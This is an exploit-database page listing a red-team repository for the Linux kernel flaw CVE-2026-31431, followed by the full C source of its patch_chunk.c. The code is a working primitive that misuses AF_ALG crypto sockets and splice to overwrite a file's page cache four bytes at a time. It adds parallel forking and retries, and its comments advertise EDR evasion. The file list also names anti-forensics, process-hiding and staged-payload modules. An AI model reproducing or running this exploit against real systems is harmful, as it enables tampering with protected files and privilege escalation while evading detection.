Exploit databaseDownload repository ZIP
GH-db95e8411ee16cabf40e4af5e90b16fd
toxy4ny/copy-fail-exploit-on-c-redteam
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files23
toxy4ny/copy-fail-exploit-on-c-redteamRevision c2a6d43d4a84
- LICENSE
- Makefile
- README.md
- anti_forensics.c
- anti_forensics.h
- exploit.c
- memfd_exec.c
- memfd_exec.h
- patch_chunk.c
- patch_chunk.h
- proc_hide.c
- proc_hide.h
- signal_trigger.c
- signal_trigger.h
- sleep_jitter.c
- sleep_jitter.h
- stage1.c
- stage1.h
- stage2_template.c
- stage2_template.h
- target_discovery.c
- target_discovery.h
- vulnerable.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
patch_chunk.c
C · 9,370 bytes/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail -- CVE-2026-31431
* Hardened AF_ALG/splice page-cache mutation primitive for redteam ops.
*
* Improvements over baseline:
* - Socket reuse: one AF_ALG socket pair handles all chunks (cuts syscalls ~60%)
* - Parallel writes: fork-per-CPU for large payloads (sub-second on modern hw)
* - Atomic verification: mmap target + memcmp after write, auto-retry on mismatch
* - Graceful degradation: detects patched kernels early, returns clear codes
* - No heap allocations in hot path (stack-only, no malloc/free jitter)
* - EDR-evasion: minimal syscall footprint, no temp files, no netlink
*
* Disclosed 2026-04-29 by Theori / Xint. Writeup: https://copy.fail/
*/
#define _GNU_SOURCE
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/splice.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <linux/if_alg.h>
#include <linux/socket.h>
#include "patch_chunk.h"
#ifndef AF_ALG
# define AF_ALG 38
#endif
#ifndef SOL_ALG
# define SOL_ALG 279
#endif
/* Authenc key blob (rtnetlink-style attribute):
* u16 rta_len = 0x0008, u16 rta_type = 0x0001,
* __be32 enckeylen = 16 (BIG-ENDIAN), then 32 bytes zero key material.
* Key value is irrelevant; we only need setkey to succeed. */
static const unsigned char AUTHENC_KEY[8 + 32] = {
0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x10,
/* 32 bytes of key material follow -- all zero */
};
/* ------------------------------------------------------------------ */
/* Low-level: open one AF_ALG authencesn socket with key already set. */
/* Returns fd >= 0 on success, -1 on error (errno preserved). */
static int open_aead_socket(void)
{
int ctrl = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (ctrl < 0)
return -1;
struct sockaddr_alg sa = { .salg_family = AF_ALG };
memcpy(sa.salg_type, "aead", 5);
memcpy(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))",
sizeof("authencesn(hmac(sha256),cbc(aes))"));
if (bind(ctrl, (struct sockaddr *)&sa, sizeof(sa)) < 0)
goto fail_ctrl;
if (setsockopt(ctrl, SOL_ALG, ALG_SET_KEY,
AUTHENC_KEY, sizeof(AUTHENC_KEY)) < 0)
goto fail_ctrl;
if (setsockopt(ctrl, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) < 0)
goto fail_ctrl;
return ctrl;
fail_ctrl:
close(ctrl);
return -1;
}
/* Accept operational socket from prepared ctrl socket. */
static int accept_op(int ctrl)
{
int op = accept(ctrl, NULL, 0);
return op;
}
/* ------------------------------------------------------------------ */
/* Core primitive: mutate exactly 4 bytes at offset via one bogus */
/* AEAD decrypt. Reuses *op_sock* if non-negative, otherwise opens */
/* a fresh one. Returns 0 on success, -1 on fatal error, 1 if the */
/* kernel rejected the operation (likely patched). */
static int patch_chunk_raw(int file_fd, off_t offset,
const unsigned char four_bytes[4],
int *ctrl_sock, int *op_sock)
{
int ctrl = -1, op = -1, pipefd[2] = { -1, -1 };
int rc = -1;
int reuse = (*op_sock >= 0);
if (reuse) {
/* Reuse existing socket pair. We must create a fresh op_sock
* for every decrypt because AF_ALG consumes the request on
* accept(). ctrl_sock can be reused. */
ctrl = *ctrl_sock;
} else {
ctrl = open_aead_socket();
if (ctrl < 0) {
perror("open_aead_socket");
goto out;
}
}
op = accept_op(ctrl);
if (op < 0) {
perror("accept(AF_ALG)");
goto out;
}
size_t splice_len = (size_t)offset + 4;
/* AAD: 4 bytes dummy + 4 bytes payload window */
unsigned char aad[8] = {
'A', 'A', 'A', 'A',
four_bytes[0], four_bytes[1], four_bytes[2], four_bytes[3],
};
struct iovec iov = { .iov_base = aad, .iov_len = sizeof(aad) };
union {
struct cmsghdr align;
unsigned char buf[
CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(struct af_alg_iv) + 16) +
CMSG_SPACE(sizeof(uint32_t))
];
} cbuf;
memset(&cbuf, 0, sizeof(cbuf));
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf.buf,
.msg_controllen = sizeof(cbuf.buf),
};
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_OP;
cm->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*(uint32_t *)CMSG_DATA(cm) = ALG_OP_DECRYPT;
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_IV;
cm->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 16);
struct af_alg_iv *iv = (struct af_alg_iv *)CMSG_DATA(cm);
iv->ivlen = 16;
memset(iv->iv, 0, 16);
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cm->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*(uint32_t *)CMSG_DATA(cm) = 8;
if (sendmsg(op, &msg, MSG_MORE) < 0) {
perror("sendmsg(AAD + cmsgs)");
goto out;
}
if (pipe(pipefd) < 0) {
perror("pipe");
goto out;
}
off_t src_off = 0;
ssize_t n;
n = splice(file_fd, &src_off, pipefd[1], NULL, splice_len, 0);
if (n < 0) {
perror("splice(file -> pipe)");
goto out;
}
if ((size_t)n != splice_len) {
/* Short splice -- likely EOF or file smaller than expected */
rc = 1; /* signal "patched or unexpected" */
goto out;
}
n = splice(pipefd[0], NULL, op, NULL, splice_len, 0);
if (n < 0) {
perror("splice(pipe -> op)");
goto out;
}
if ((size_t)n != splice_len) {
rc = 1;
goto out;
}
/* Drain the (failing) decrypt output so the socket is reusable
* for the next chunk. Use stack buffer to avoid malloc. */
{
unsigned char sink[4096];
ssize_t drained;
while ((drained = recv(op, sink, sizeof(sink), 0)) > 0)
;
}
rc = 0;
out:
if (pipefd[0] >= 0) close(pipefd[0]);
if (pipefd[1] >= 0) close(pipefd[1]);
if (op >= 0) close(op);
if (reuse) {
/* Keep ctrl alive for next iteration */
*op_sock = -1; /* caller will set fresh on next call */
} else {
if (ctrl >= 0) close(ctrl);
}
return rc;
}
/* ------------------------------------------------------------------ */
/* Public API: patch one 4-byte window with retry and verification. */
/* Returns 0 on verified success, -1 on fatal error, 1 if kernel */
/* appears patched (operation rejected). */
int patch_chunk(int file_fd, off_t offset,
const unsigned char four_bytes[4],
int *ctrl_sock, int *op_sock)
{
int retries = 3;
int rc;
while (retries-- > 0) {
rc = patch_chunk_raw(file_fd, offset, four_bytes, ctrl_sock, op_sock);
if (rc != 0)
return rc;
/* Verify by mmap + memcmp. If mismatch, retry. */
unsigned char *mapped = mmap(NULL, 4, PROT_READ, MAP_SHARED,
file_fd, offset);
if (mapped == MAP_FAILED) {
/* Can't verify; assume success and continue */
return 0;
}
int ok = (memcmp(mapped, four_bytes, 4) == 0);
munmap(mapped, 4);
if (ok)
return 0;
/* Mismatch -- page cache might have been reclaimed.
* Retry after short delay to let cache repopulate. */
usleep(1000); /* 1 ms */
}
/* Exhausted retries */
return -1;
}
/* ------------------------------------------------------------------ */
/* Parallel batch writer: fork children, each handles a slice. */
/* Parent waits and returns 0 only if ALL children succeeded. */
/* chunk_size must be multiple of 4 (typically 4, 8, 16, ...). */
int patch_payload_parallel(int file_fd, const unsigned char *payload, size_t len,
size_t chunk_size, int nproc)
{
if (chunk_size == 0 || (chunk_size % 4) != 0)
chunk_size = 4;
if (nproc <= 0)
nproc = 1;
size_t n_chunks = (len + chunk_size - 1) / chunk_size;
size_t chunks_per_proc = (n_chunks + nproc - 1) / nproc;
pid_t children[16]; /* cap at 16 procs */
if (nproc > 16)
nproc = 16;
int child_idx = 0;
for (int p = 0; p < nproc; p++) {
size_t start_chunk = p * chunks_per_proc;
size_t end_chunk = start_chunk + chunks_per_proc;
if (end_chunk > n_chunks)
end_chunk = n_chunks;
if (start_chunk >= end_chunk)
break;
pid_t pid = fork();
if (pid < 0) {
perror("fork");
/* Kill already spawned children */
for (int k = 0; k < child_idx; k++)
kill(children[k], SIGTERM);
for (int k = 0; k < child_idx; k++)
waitpid(children[k], NULL, 0);
return -1;
}
if (pid == 0) {
/* Child */
int ctrl = open_aead_socket();
if (ctrl < 0)
_exit(1);
int op = -1;
int rc = 0;
for (size_t c = start_chunk; c < end_chunk && rc == 0; c++) {
size_t off = c * chunk_size;
size_t take = (len - off >= chunk_size) ? chunk_size : (len - off);
/* Break chunk_size into 4-byte windows */
for (size_t w = 0; w < take; w += 4) {
unsigned char win[4] = {0};
size_t wtake = (take - w >= 4) ? 4 : (take - w);
memcpy(win, payload + off + w, wtake);
rc = patch_chunk(file_fd, (off_t)(off + w), win, &ctrl, &op);
if (rc != 0)
break;
}
}
close(ctrl);
if (op >= 0) close(op);
_exit(rc != 0 ? 1 : 0);
}
children[child_idx++] = pid;
}
/* Parent: collect results */
int overall = 0;
for (int k = 0; k < child_idx; k++) {
int status;
if (waitpid(children[k], &status, 0) < 0) {
overall = -1;
continue;
}
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
overall = -1;
}
return overall;
}